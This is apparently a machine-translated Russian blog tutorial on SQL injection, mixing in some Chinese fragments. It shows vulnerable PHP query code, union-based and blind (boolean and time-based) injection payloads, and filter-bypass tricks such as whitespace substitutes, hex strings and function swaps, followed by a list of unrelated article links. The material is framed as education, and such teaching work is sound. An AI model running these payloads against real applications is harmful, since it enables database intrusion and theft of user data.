[Сетевая безопасность] «Принцип уязвимостей» (2) Теоретическое объяснение уязвимостей SQL-инъекций.
[Сетевая безопасность] «Принцип уязвимостей» (2) Теоретическое объяснение уязвимостей SQL-инъекций.

Торжественное заявление: технология, обсуждаемая в этом сообщении в блоге, предназначена только для исследований и изучения. Она предназначена для повышения осведомленности читателей об информационной безопасности и улучшения навыков защиты информации. Ее использование в незаконных целях строго запрещено. Любое лицо, группа или организация не может использовать его в незаконных целях, а незаконные преступления будут строго наказываться по закону.

сбор информации

сбор информациисуществовать SQL Атаки с внедрением играют важную роль в предоставлении злоумышленникам ключевой целевой базы данных и информации о приложениях, помогая злоумышленникам лучше проводить последующие атаки.

Сбор информации в основном включает в себя следующие аспекты:

  1. Определить и понять целевую базу данных:Получить тип целевой базы данных、Версия、структура таблицы、Имена столбцов и другая ключевая информация.
  2. Получить конфиденциальную информацию:Получить конфиденциальную информацию из целевой базы данных,Например, имя пользователя、пароль、Разрешения пользователя、финансовая информация и т.д.
  3. Обнаружьте уязвимости и слабые места:Обнаружение уязвимостей и слабых мест в целевых приложениях,Например, неправильная проверка ввода, неправильный механизм обработки ошибок и т. д.
  4. Определите точку и тип инъекции.:确定目标应用程序存существовать的注入点,То есть вводимые пользователем данные поступают прямо или косвенно SQL место заявления. В то же время поймите метод взаимодействия с базой данных целевого приложения (например, непосредственное создание SQL заявление, использование хранимых процедур и т. д.), чтобы выбрать наиболее подходящий тип и метод инъекции.

Используйте некоторые из следующих команд, чтобы получить соответствующую информацию:

1、select version():Получить базу данных Версия;

2、select user():Получить базу данных用户名;

3、select database():Получить базу данных名;

4、select @@datadir:Получить базу данных路径;

5、select @@version_compile_os:Получить операционную систему Версия;

Начало работы с инъекциями

базовая инъекция

Предположим, часть исходного кода веб-сайта выглядит так:

Язык кода:php
копировать
$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";
$result = mysql_query($sql);
if ($result) {
  while ($row = mysql_fetch_assoc($result))
    echo "<tr>";
  echo "<td>".$row['id']."</td>";
  echo "<td>".$row['name']."</td>";
  echo "<td>".$row['age']."</td>";
  echo "</tr>";
}
echo "</table>";

Затем мы на основе его SQL заявление SELECT * FROM users where name=' При выполнении обычного запроса вы можете узнать, существует ли это имя пользователя или нет. name,Результаты в конечном итоге будут отображены,Результаты бега следующие:

Затем мы создаем на основе этого какое-то вредоносное заявление, например, используя union Чтобы выполнить совместный запрос, используйте union Необходимо убедиться, что количество полей, запрошенных до и после, одинаково, в противном случае будет сообщено об ошибке. Результаты работы следующие:

Затем, основываясь на вышеизложенных принципах, мы можем сопоставить исходный код веб-страницы SQL заявлениевнутри * представляет 5 поля, результаты работы следующие:

мы можем построить SQL Соберите некоторую информацию, например admin union select version(),user(),database(),4,5--+,Результаты бега следующие:

Слепое внедрение SQL

Слепое внедрение SQL означает выполнение сетевой безопасность При тестировании или атаке,Метод, с помощью которого злоумышленник определяет уязвимости или слабые места в системе, исследуя реакцию системы. Злоумышленники обычно отправляют конкретные запросы целевой системе.,и наблюдать за реакцией системы,Если результат ответа не соответствует ожидаемому,Тогда может быть лазейка. Постоянно пробуя разные запросы и наблюдая за ответами,Злоумышленник может постепенно получить информацию о целевой системе.,и использовать эту информацию для проведения дальнейших атак.

Предположим, часть исходного кода веб-сайта выглядит так:

Язык кода:php
копировать
$sql = "SELECT * FROM users ORDER BY `";                         
$sql = mysql_real_escape_string($_GET["order"])."`";            
$result = mysql_query($sql);         

Далее мы будем использовать логический слепойислепой во время способ атаковать.

логический слепой

логический слепой значит делать SQL При инъекции возвращается результат True или есть False получить необходимую информацию из базы данных.

Потому что исходный код сайта правильный order by сращены, поэтому мы больше не можем использовать union Подождите, пока метод внедрит, и здесь нет вывода ошибок, поэтому используйте логический слепой метод, для облегчения отладки будет BP Отображается в виде захвата пакетов.

Сначала сделайте запрос обычным образом, и результаты будут следующими:

Далее используйте логический слепой, потому что в предыдущем примере уже известно, что имя базы данных exercises,Поэтому я не буду здесь делать слишком много предположений.,Вставьте заявление следующим образом:

Язык кода:sql
копировать
order=name` RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,1))>100) THEN 0x6e616d65 ELSE 0x28 END))

Объясните вышесказанное SQL заявление,Это предложение SQL Цель состоит в том, чтобы определить первый символ имени базы данных. ASCII 码值是否大于100(e равно 101), чтобы добиться сортировки условного запроса. Если первый символ ASCII Если значение кода больше 100, будет использоваться имя поля. name (0x6e616d65) Сортировка по возрастанию, иначе по символам скобок. ( (0x28) ASCII Сортировка по значению кода.

В то же время в этом SQL используются некоторые функции и приемы:

  • MID() Функция используется для извлечения некоторых символов из строки.
  • IFNULL() Функция используется для определения того, является ли имя базы данных пустым. Если оно пусто, возвращается символ пробела. "0x20"。
  • CAST() Функция используется для преобразования имени базы данных в NCHAR тип.
  • ORD() Функция, используемая для получения символа ASCII значение кода.
  • CASE WHEN заявление используется для суждения ASCII Является ли значение кода больше 100.

Результаты запуска:

Выведите второй символ имени базы данных SQL заявлениеследующее:

Язык кода:sql
копировать
order=name` RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),2,1))>119) THEN 0x6e616d65 ELSE 0x28 END))

Остальное можно вывести таким образом.

слепой во времени

Кромелогический Кроме слепой, есть и другие слепые. нота способ, типа слепой во времени。

слепой во времени означает, что когда злоумышленник отправляет вредоносный запрос целевому приложению, при наличии слепой во При наличии уязвимостей приложения могут иметь разное время отклика.

При обычном запросе необходимое время выглядит следующим образом:

структураслепой во времени的 SQL заявление:

Язык кода:sql
копировать
order=age` and if(ascii(substr(database(),1,1))=101,sleep(1),1)--+

Результаты запуска:

Обход

во избежание SQL Атаки путем внедрения: приложение выполняет соответствующую проверку и фильтрацию входных данных, а также hacker Буду ломать голову, придумывая способы обойти,Вот некоторые распространенные Обход。

пространства фильтруются

1. Используйте /*xxx*/ Встроенные комментарии или () Чтобы обойти:

Язык кода:sql
копировать
SELECT/*1*/username,password/*1*/FROM/*1*/users;

SELECT(username),(password)FROM(users);

2. Используйте %09 %0a %0b %0c %0d %a0 Подождите, пока появится невидимый персонаж. обойти:

  • %09:TAB ключ (горизонтальный);
  • %0a:Создать новую строку;
  • %0b:TAB ключ (вертикальный);
  • %0c:новая страница;
  • %0d:return Функция;
  • %a0:космос;

Предположим, часть исходного кода веб-сайта выглядит так:

Язык кода:php
копировать
if (preg_match('/ /', $_GET["name"])) {
    die("ERROR NO SPACE");
}
$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";
$result = mysql_query($sql);

Если инъекция вводится нормально, вы обнаружите, что пространства фильтруются неправильно, что приводит к сбою инъекции:

Поэтому нам нужно заменить пробелы невидимыми символами, ниже мы воспользуемся %a0 Чтобы заменить:

Котировки фильтруются

Используйте шестнадцатеричное представление вместо строки, например, шестнадцатеричное представление sidiot — 0x736964696f74:

Язык кода:sql
копировать
SELECT username, password FROM users WHERE username=0x736964696f74

запятые фильтруются

1. Используйте from for Вместо запятых:

Язык кода:sql
копировать
# До замены
select substr(database(),1,1);

# После замены
select substr(database() from 1 for 1);

2. Используйте join Вместо запятых:

Язык кода:sql
копировать
# До замены
select 1,2;

# После замены
select * from (select 1)a join (select 2)b;

3. Используйте offset Вместо запятых:

Язык кода:sql
копировать
# До замены
select * from users limit 0,1;

# После замены
select * from users limit 1 offset 0;

символы сравнения фильтруются

1. Используйте like, rlike, regexp заменять =

Язык кода:sql
копировать
select * from users where username like 'sidiot';

select * from users where username rlike 'sidiot';

select * from users where username regexp 'sidiot';

2. Используйте greatest()、least() заменять <>

Язык кода:sql
копировать
# До замены
select * from users where id=1 and ascii(substr(database(),0,1))<64;

# После замены
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64;

select * from users where id=1 and least(ascii(substr(database(),1,1)),64)=64;

or/and/xor/not фильтруется

  1. and = &&
  2. or = ||
  3. xor = |
  4. not = !

Часто используемые функции фильтруются

  1. hex()、bin() = ascii()
  2. sleep() = benchmark()
  3. concat_ws() = group_concat()
  4. mid()、substr() = substring()
  5. @@user = user()
  6. @@datadir = datadir()

【Идеи выбора темы】

Я надеюсь, что благодаря объяснениям в этой статье читатели поймут суть SQL Более глубокое понимание уязвимостей внедрения. Узнать о сборе информациисуществовать SQL Важность процесса инъекции и знание некоторых базовых навыков инъекции начального уровня и широко используемых методов обходной инъекции. В то же время, эта статья хочет, чтобы читатели знали о SQL При возникновении серьезных угроз безопасности системы принимайте необходимые меры безопасности на этапах проектирования и разработки, такие как использование параметризованных запросов и ограничение доступа к разрешениям, чтобы создавать более безопасные приложения и защищать безопасность данных.

【Написание плана】

  1. Введение Функция информации — практиковать;
  2. верно SQL Инъекции для ознакомительного введения; 2.1. базовая Введение в инъекцию; 2.2. Слепое внедрение SQLпредставлять:логический слепойислепой во времени;
  3. представлять常用的Обход; 3.1. Пробелы игнорируются; 3.2. Кавычки пропущены; 3.3. обход запятой; 3.4. Обход знака сравнения; 3.5. Обход логических символов; 3.6. Часто используемые функции обойдены;
  4. Подвести итог

Торжественное заявление: технология, обсуждаемая в этом сообщении в блоге, предназначена только для исследований и изучения. Она предназначена для повышения осведомленности читателей об информационной безопасности и улучшения навыков защиты информации. Ее использование в незаконных целях строго запрещено. Любое лицо, группа или организация не может использовать его в незаконных целях, а незаконные преступления будут строго наказываться по закону.

boy illustration
Неразрушающее увеличение изображений одним щелчком мыши, чтобы сделать их более четкими артефактами искусственного интеллекта, включая руководства по установке и использованию.
boy illustration
Копикодер: этот инструмент отлично работает с Cursor, Bolt и V0! Предоставьте более качественные подсказки для разработки интерфейса (создание навигационного веб-сайта с использованием искусственного интеллекта).
boy illustration
Новый бесплатный RooCline превосходит Cline v3.1? ! Быстрее, умнее и лучше вилка Cline! (Независимое программирование AI, порог 0)
boy illustration
Разработав более 10 проектов с помощью Cursor, я собрал 10 примеров и 60 подсказок.
boy illustration
Я потратил 72 часа на изучение курсорных агентов, и вот неоспоримые факты, которыми я должен поделиться!
boy illustration
Идеальная интеграция Cursor и DeepSeek API
boy illustration
DeepSeek V3 снижает затраты на обучение больших моделей
boy illustration
Артефакт, увеличивающий количество очков: на основе улучшения характеристик препятствия малым целям Yolov8 (SEAM, MultiSEAM).
boy illustration
DeepSeek V3 раскручивался уже три дня. Сегодня я попробовал самопровозглашенную модель «ChatGPT».
boy illustration
Open Devin — инженер-программист искусственного интеллекта с открытым исходным кодом, который меньше программирует и больше создает.
boy illustration
Эксклюзивное оригинальное улучшение YOLOv8: собственная разработка SPPF | SPPF сочетается с воспринимаемой большой сверткой ядра UniRepLK, а свертка с большим ядром + без расширения улучшает восприимчивое поле
boy illustration
Популярное и подробное объяснение DeepSeek-V3: от его появления до преимуществ и сравнения с GPT-4o.
boy illustration
9 основных словесных инструкций по доработке академических работ с помощью ChatGPT, эффективных и практичных, которые стоит собрать
boy illustration
Вызовите deepseek в vscode для реализации программирования с помощью искусственного интеллекта.
boy illustration
Познакомьтесь с принципами сверточных нейронных сетей (CNN) в одной статье (суперподробно)
boy illustration
50,3 тыс. звезд! Immich: автономное решение для резервного копирования фотографий и видео, которое экономит деньги и избавляет от беспокойства.
boy illustration
Cloud Native|Практика: установка Dashbaord для K8s, графика неплохая
boy illustration
Краткий обзор статьи — использование синтетических данных при обучении больших моделей и оптимизации производительности
boy illustration
MiniPerplx: новая поисковая система искусственного интеллекта с открытым исходным кодом, спонсируемая xAI и Vercel.
boy illustration
Конструкция сервиса Synology Drive сочетает проникновение в интрасеть и синхронизацию папок заметок Obsidian в облаке.
boy illustration
Центр конфигурации————Накос
boy illustration
Начинаем с нуля при разработке в облаке Copilot: начать разработку с минимальным использованием кода стало проще
boy illustration
[Серия Docker] Docker создает мультиплатформенные образы: практика архитектуры Arm64
boy illustration
Обновление новых возможностей coze | Я использовал coze для создания апплета помощника по исправлению домашних заданий по математике
boy illustration
Советы по развертыванию Nginx: практическое создание статических веб-сайтов на облачных серверах
boy illustration
Feiniu fnos использует Docker для развертывания личного блокнота Notepad
boy illustration
Сверточная нейронная сеть VGG реализует классификацию изображений Cifar10 — практический опыт Pytorch
boy illustration
Начало работы с EdgeonePages — новым недорогим решением для хостинга веб-сайтов
boy illustration
[Зона легкого облачного игрового сервера] Управление игровыми архивами
boy illustration
Развертывание SpringCloud-проекта на базе Docker и Docker-Compose